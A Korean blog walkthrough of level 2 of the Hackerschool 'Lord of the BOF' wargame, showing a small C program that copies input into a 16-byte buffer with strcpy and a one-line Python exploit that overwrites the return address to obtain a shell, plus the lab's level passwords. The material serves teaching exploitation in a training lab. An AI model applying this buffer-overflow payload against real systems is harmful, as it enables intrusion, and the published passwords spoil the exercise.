해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이
M4ndU
해커스쿨 LOB [gremlin -> cobolt] 풀이입니다.
ID | gremlin
PW | hello bof world
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: gremlin
Password:
[gremlin@localhost gremlin]$ bash2
[gremlin@localhost gremlin]$ ls -l
total 16
-rwsr-sr-x 1 cobolt cobolt 11970 Feb 26 2010 cobolt
-rw-r--r-- 1 gremlin gremlin 291 Mar 29 2010 cobolt.c
[gremlin@localhost gremlin]$ cat cobolt.c
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
[gremlin@localhost tmp]$ cd ..
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x8d\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAA랞?
bash$ my-pass
euid = 502
hacking exposed
'System Hacking > LOB Redhat' 카테고리의 다른 글
해커스쿨 LOB LEVEL6 [wolfman-> darkelf] 풀이 (1) | 2018.02.11 |
---|---|
해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL4 [goblin -> orc] 풀이 (0) | 2018.02.11 |
해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이 (0) | 2018.02.10 |
해커스쿨 LOB LEVEL1 [gate -> gremlin] 풀이 (0) | 2018.02.10 |